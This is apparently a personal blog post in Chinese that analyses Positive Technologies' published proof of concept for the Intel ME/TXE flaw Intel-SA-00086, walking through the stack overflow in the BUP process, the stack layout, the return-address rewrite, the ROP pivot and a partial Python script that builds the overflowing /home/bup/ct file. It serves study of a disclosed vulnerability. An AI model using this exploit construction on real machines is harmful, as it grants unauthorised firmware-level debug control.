---
tags: github
---
# Intel ME 漏洞 - PT的PoC分析 (Intel-SA-00086)
在讀到Intel ME和AMD Security Technology之後順藤摸瓜,就看到了似乎在PC韌體界頗有名的漏洞[2, 3],看了Positive Technologies(簡稱PT)的演講和說明之後實在還是摸不著頭緒。主要是因為我對ME內部的運作方式不是很熟悉(菜)。好在找到了Kakaroto的blog[1],在讀過了幾遍之後,漏洞的大致輪廓逐漸清晰了些,紀錄一下。
對於不知道Intel ME的人,請先查閱參考資料或是Google,[1]中也有很好的說明。這篇的細節會參照[1],我認為Kakaroto有些部分還是寫的有點難懂,所以我盡量用更明顯清楚的方式把關鍵處講出來。
值得注意的是Kakaroto在[1]中提到了他發現PT在Github上發布的PoC[4]和他們的演講[2, 3]對不上,攻擊手法不一樣,所以研究了PoC中到底在做什麼。這邊就不講他怎麼發現的了,直接說明他最後研究出的結果。
> PoC針對的是Apollolake平台,演講是說Skylake平台
## 攻擊大致流程
Positive Technologies給出的PoC流程大概是:
漏洞->讓ME core跑攻擊者的code->打開DCI並切換到RED模式(開啟ME的DFx功能)->得到ME debug權限
> JTAG、USB DbC、DCI等我都不熟悉,有錯請指正
## 漏洞
整個漏洞其實就是一個buffer overflow vulnerability。在ME會跑的一個叫做BUP(Bring-UP)的process中,有這幾行:
```c
if ( !(reg & 0x1000000) &&
!bup_get_si_features(si_features) &&
!bup_get_file_size("/home/bup/ct", &ct_file_size) ) {
if ( ct_file_size ) {
LOBYTE(err) = bup_dfs_read_file("/home/bup/ct", 0, ct_file_data, ct_file_size, &read_size);
/* code below is omitted */
```
仔細看可以觀察到,在叫`bup_dfs_read_file`這個函數的時候,`ct_file_data`是前面宣告的一個大小是808 Bytes的buffer,`ct_file_size`則是`/home/bup/ct`的檔案大小,也就是說把整個檔案讀到只有808 Bytes的`ct_file_data`裡,Intel寫錯了!只要`/home/bup/ct`大於808 Bytes,整個process stack就會被寫壞,因為`ct_file_data`是local variable,所以存在stack上。
而剛好,`/home/bup/ct`這個檔案是沒有被Intel簽章保護的,讓攻擊者可以放payload進去。
## 控制ME跑我們的code
真正複雜之處在於怎麼利用上面的buffer overflow來跑我們的code,攻擊時BUP的函數呼叫鏈長這樣:
(這只是Kakaroto幫我們整理好的pseudocode但大概的程序是一樣的)
```flow
st=>start: bup_entry
bm=>operation: bup_main
br=>operation: bup_run_init_scripts
bith=>operation: bup_init_trace_hub
bread=>operation: bup_dfs_read_file
bsys=>operation: bup_init_trace_hub_set_systracer
e=>end: bup_init_trace_hub_set_systracer
st->bm->br->bith->e
```
其中`bup_init_trace_hub`先呼叫了有漏洞的`bup_dfs_read_file`(上圖沒顯示),然後再呼叫`bup_init_trace_hub_set_systracer`。
接著要來觀察`bup_init_trace_hub`,同樣擷取[1]提供的pseudocode(簡化之後的code):
```c=
/* CT format */
typedef struct {
uint8_t ignore[6];
uint16_t num_entries;
struct {
uint24_t offset; // offset in the segement is only 20 bits
uint8_t segment_selector; // if value is 1, segment is 0x07, if value is 2, segment is 0xBF
uint32_t value; // Value to set in segment_selector:offset
}[num_entries];
} CT;
void bup_init_trace_hub() {
// ct_data == 那個會被overflow的固定size buffer
char ct_data[808];
int file_size;
int bytes_read;
// 漏洞本身
bup_dfs_get_file_size("/home/bup/ct", &file_size);
bup_dfs_read_file("/home/bup/ct", 0, ct_data, file_size, &bytes_read);
// ct_data指到/home/bup/ct的內容(第20行)
// 在這邊cast成一個header的pointer(第2行)
CT *ct = (CT *)ct_data;
// 這個for loop根據/home/bup/ct這個檔案的header,去更改(set)memory裡面的一些值
// 如果不熟x86 segment的觀念可能會看不懂
for (uint16_6 i = 0; i < ct->num_entries; i++) {
// 如果selector這個member == 1,
// 就把(0x7:ct->entries[i].offset)這個logical address指到的地方
// 改成ct->entries[i].value
if (ct->entries[i].selector == 1)
set_segment_word(7, ct->entries[i].offset, ct->entries[i].value);
// == 2就改 0xBF這個segment
if (ct->entries[i].selector == 2)
set_segment_word(0xBF, ct->entries[i].offset, ct->entries[i].value);
}
// 呼叫後面會講到的函數
bup_init_trace_hub_set_systracer(7, 0xBF);
// return之前會檢查security cookie
}
```
以上的code我們稱之A區
知道`bup_init_trace_hub`在做什麼之後,我們要來觀察stack上的資料。BUP在執行時,stack長這樣(從0x56000開始往下長):
```
/* 和blog中不太一樣,我認為這樣比較好懂 */
TXE STACK - bup_entry:
0x56000: STACK TOP
0x55FEC: TLS
0x55FE8: ecx - arg to bup_main
0x55FE4: edx - arg
0x55FE0: eax - arg
0x55FDC: retaddr - call bup_main
0x55FD8: saved ebp of bup_entry
0x55FD4: 0 - arg to bup_run_init_scripts
0x55FD0: retaddr - call bup_run_init_scripts
0x55FCC: saved ebp of bup_main
0x55FC8: saved edi
0x55FC4: saved esi
0x55FC0: saved ebx
0x55FBC: var_10
0x55FB8: retaddr - call bup_init_trace_hub
//這是bup_init_trace_hub的stack frame開始處
0x55FB4: saved ebp of bup_run_init_scripts
0x55FB0: saved esi
0x55FAC: saved ebx
0x55FA8: security cookie
0x55C80: ct_data //FA8-C80 = 0x328 = 808沒錯
0x55C6C: si_features
0x55C68: file_size
0x55C64: bytes_read
0x55C60: 0xBF - arg to bup_init_trace_hub_set_systracer
0x55C5C: 7 - arg
0x55C58: retaddr - call bup_init_trace_hub_set_systracer
0x55C54: saved ebp of bup_init_trace_hub
```
以上的data我們稱之B區
PoC中的`/home/bup/ct`在A區20行之後就會把0x56000-0x55C80之間的內容全部破壞,為了不要觸發會檢查security cookie(0x55FA8)的stack guard,`/home/bup/ct`的內容必須讓我們在`bup_init_trace_hub`return之前取得控制。
先觀察`bup_init_trace_hub_set_systracer`:
```c=
// sub_49AD3
// The following is a small function that gets called and sets flags on
// the systracer context value and returns.
bup_init_trace_hub_set_systracer(unsigned int seg1, unsigned int seg2)
{
// sys_get_sys_tracer_ctx() 回傳 syslib_context + 0x200
// syslib_context位在這個thread的TLS,
// 也就是上面stack資料(B區)可以看到的0x55FEC-0x56000之間
// 藉由buffer overflow,我們可以改變systracer的值
// 而因為systracer是一個指標,下面的bitwise操作
// 就會改變systracer指到的內容
char *systracer = sys_get_sys_tracer_ctx();
// Set the DWORD at address systracer + 0x10 to the first argument
*(uint32_t *)(systracer + 0x10) = seg1;
// 這邊對systracer進行一堆bitwise操作
// PoC中的/home/bup/ct會讓systracer = 0x55C58,也就是
// 現在這個函數本身的ret addr,所以下面22-33行
// 都是在修改這個函數自己的ret addr
// Set bits 0 and 1 of systracer to 1 and clear bits 6 and 7
systracer[0] |= 3;
systracer[0] &= 0x3F;
// set bit 6 of systracer to the same as bit 3 of 0xBF:10
// 藉由A區 27-36行,我們可以改變這裡
// get_segment_word所取得的資料
systracer[0] |= ((get_segment_word(seg2, 0x10) >> 3) & 1) << 6;
// set bit 7 of systracer to the same as bit 7 of 0xBF:10
systracer[0] |= get_segment_word(seg2, 0x10) & 0x80;
// Clear bits 8 and 9 of systracer
systracer[1] &= 0xFC;
// set bit 8 of systracer to the same as bit 11 of 0xBF:10
systracer[1] |= (get_segment_word(seg2, 0x10) >> 11) & 1 ;
// set bit 9 of systracer to the same as bit 24 of 0xBF:E0
systracer[1] |= ((get_segment_word(seg2, 0xE0) >> 24) & 1) << 1;
}
```
以上的code我們稱之C區
C區的操作,讓我們可以一定限度的修改`bup_init_trace_hub_set_systracer`的ret addr,但是不能任意指定,PoC中把它從0x4995B(應該是A區的39行的位址)改成0x49BDB。而此時的stack frame還是`but_init_trace_hub`,剛剛好0x4995B處的code沒有stack guard,return之前也會幫我們pop掉東西,esp = 0x55FB8的時候ret。
PoC中0x55FB8的內容被改成0x00016e1a,程式跳過去那邊執行,而那裡是在一個instruction中間,但是會被執行成`pop esp, ret`,`pop esp`會使得esp被assign成位址0x55FBC的值,也被PoC改成0x00055c98,0x00055c98所指到的內容,所指到的內容(沒錯兩層dereference)就是CPU下一個執行的指令,應該也在buffer之中,而那裡就是PoC主要的payload,打開DCI還有開啟ME debug功能。
以下是產生目標`/home/bup/ct`的python script:
如果完全了解應該可以看懂XD
```python=
STACK_BASE = 0x00056000
BUFFER_OFFSET = 0x380
SYS_TRACER_CTX_OFFSET = 0x200
SYS_TRACER_CTX_REQ_OFFSET = 0x55c58
RET_ADDR_OFFSET = 0x338
# for the CT structure
def GenerateTHConfig():
print("[*] Generating fake tracehub configuration...")
trace_hub_config = struct.pack("<B", 0x0)*6
trace_hub_config += struct.pack("<H", 0x2)
trace_hub_config += struct.pack("<L", 0x020000e0)
trace_hub_config += struct.pack("<L", 0x5f000000)
trace_hub_config += struct.pack("<L", 0x02000010)
trace_hub_config += struct.pack("<L", 0x00000888)
def GenerateRops():
print("[*] Generating rops...")
# Let's ignore this for now
def GenerateShellCode():
syslib_ctx_start = SYS_TRACER_CTX_REQ_OFFSET - SYS_TRACER_CTX_OFFSET
data = GenerateTHConfig()
init_trace_len = len(data)
data += GenerateRops()
data += struct.pack("<B", 0x0)*(RET_ADDR_OFFSET - len(data))
data += struct.pack("<L", 0x00016e1a)
data += struct.pack("<L", STACK_BASE - BUFFER_OFFSET + init_trace_len)
data_tail = struct.pack("<LLLLL", 0, syslib_ctx_start, 0, 0x03000300, STACK_BASE-4)
data += struct.pack("<B", 0x0)*(BUFFER_OFFSET - len(data) - len(data_tail))
data += data_tail
return data
```
如果需要幫助了解,可以把上面生成的`/home/bup/ct`畫出來,疊在B區的值上面(從0x55C80開始往上),然後對照著看,但我太懶了所以先不幫忙畫XD
## 結語
這個攻擊本身沒有很深奧,就是buffer overflow還有ROP的技巧,厲害的是有許多給定的資訊例如ME韌體的code、韌體的filesystem資訊、stack從0x56000開始等等,我在網路上看到大部分都是PT那幾個研究人員逆向工程搞出來的,實在是鬼神XD
這只是Kakaroto寫的三部分的第一份,另外兩個有緣的話我再來寫吧,第二篇瞄了一下是講怎麼把這個攻擊port到skylake上,第三部分還沒有看。
這篇為我自己對ME的研究做個總結,我對ME的理解就到這,其他的水實在是太深了,各種都是Intel私家的技術,繼續讀下去太花時間了,來去研究其他的東西~
## 參考
[1] [Kakaroto's experience](https://kakaroto.ca/2019/11/exploiting-intels-management-engine-part-1-understanding-pts-txe-poc/)
[2] [Positive Technologies原始說明pdf](https://www.blackhat.com/docs/eu-17/materials/eu-17-Goryachy-How-To-Hack-A-Turned-Off-Computer-Or-Running-Unsigned-Code-In-Intel-Management-Engine-wp.pdf)
[3] [Positive Technologies在black hat Europe 2017的演講](https://www.youtube.com/watch?v=9fhNokIgBMU&list=WL&index=38)
[4] [Positive Technologies PoC (github)](https://github.com/ptresearch/IntelTXE-PoC)